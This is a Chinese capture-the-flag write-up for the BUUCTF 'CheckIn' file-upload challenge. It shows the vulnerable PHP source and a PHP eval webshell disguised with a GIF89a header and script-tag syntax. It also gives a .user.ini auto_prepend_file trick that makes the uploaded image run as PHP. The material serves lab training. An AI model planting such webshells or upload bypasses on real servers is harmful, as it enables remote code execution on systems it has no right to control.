BUUCTF-web刷题篇(19)

28.CheckIn

源码:

php 复制代码
#index.php
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Upload Labs</title>
</head>

<body>
    <h2>Upload Labs</h2>
    <form action="index.php" method="post" enctype="multipart/form-data">
        <label for="file">文件名:</label>
        <input type="file" name="fileUpload" id="file"><br>
        <input type="submit" name="upload" value="提交">
    </form>
</body>

</html>

<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
    if (preg_match("/ph|htacess/i", $extension)) {
        die("illegal suffix!");
    }
    if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
        die("&lt;? in contents!");
    }
    $image_type = exif_imagetype($tmp_name);
    if (!$image_type) {
        die("exif_imagetype:not image!");
    }
    $upload_file_path = $userdir . "/" . $name;
    move_uploaded_file($tmp_name, $upload_file_path);
    echo "Your dir " . $userdir. ' <br>';
    echo 'Your files : <br>';
    var_dump(scandir($userdir));
}

可以看出文件上传类的题目,绕过后缀的文件格式有php,php3,php4,php5,phtml,pht。

构造木马文件<?php @eval($_REQUEST'shell');?>命名为flag.php

上传木马文件,显示illegal suffix!非法后缀,将flag.php改为flag.jpg,继续上传木马文件,显示<?in vontents!存在违法内容"<?"

改变思路点,将PHP一句话转换为JS形式

重构木马文件

<script language="php">@eval($_REQUEST'shell');</script>

继续上传

显示exif_imagetype:not image!

重构

GIF89a<script language="php">@eval($_REQUEST'shell');</script>

上传成功,使用蚁剑测试连接,可以连接,但是返回数据是空的,猜测后台并没有解析PHP代码。访问题目源码,提示是.user.ini配置文件。

.user.ini配置文件与.htaccess配置文件比较类似,概述来说,htaccess文件是Apache服务器中的一个配置文件,注意这几个字"改变文件扩展名"。

.htaccess配置文件格式

<FileMatch "1.jpg>

SetHandler application/x-httpd-php

.user.ini配置文件和.htaccess配置文件都是为了解析PHP代码

可以把.user.ini理解为用户可自定义的php.ini配置文件,.user.ini的两个配置项,auto_prepend_file是在文件前插入,auto_append_file是在文件最后才插入。

创建.user.ini文件

php 复制代码
GIF89a
auto_prepend_file=flag.jpg

上传.user.ini文件

连接蚁剑:密码:shell

相关推荐
网安老伯2 小时前
网络安全基础要点知识介绍(非常详细),零基础入门到精通,看这一篇就够了
运维·前端·网络协议·web安全·网络安全·职场和发展
绘梨衣的sakura路12 小时前
Fastjson ≤ 1.2.83 新型 RCE 漏洞深度分析:三层绕过机制与完整利用链
安全·web安全·json
niaiheni15 小时前
Fastjson 1.2.83 “Gadget-Free“ RCE
网络·安全·web安全
Draina15 小时前
CBC填充预言攻击-CBC Padding Oracle Crypto Attack
python·安全·web安全·网络安全·密码学·安全性测试
白山云北诗18 小时前
漏洞扫描+渗透测试:从资产摸底到风险验证,完成二次安全收口
网络·安全·web安全·渗透测试·漏洞扫描·ddos防护·cc防护
treesforest1 天前
公开IP属地后我们应该如何保护自身网络安全?
tcp/ip·安全·web安全·ip属地·查ip归属地
Sagittarius_A*1 天前
Web 安全之 Git 泄露:原理剖析 + CTFHub Log/Stash/Index 全题型解法
git·安全·web安全
admin and root2 天前
「移动安全」安卓APP 反编译&frida脱壳技巧分享
android·开发语言·python·web安全·微信小程序·移动安全·攻防演练
云水一下2 天前
零基础玩转bWAPP靶场(十四):SQL 注入(GET/选择型)
web安全·sql注入·bwapp
sbjdhjd2 天前
SQL 注入零基础详解:原理、手工注入流程与 Sqli-Labs 靶场实战1~5关和第9关思路
数据库·sql·计算机网络·web安全·网络安全·网络攻击模型·安全架构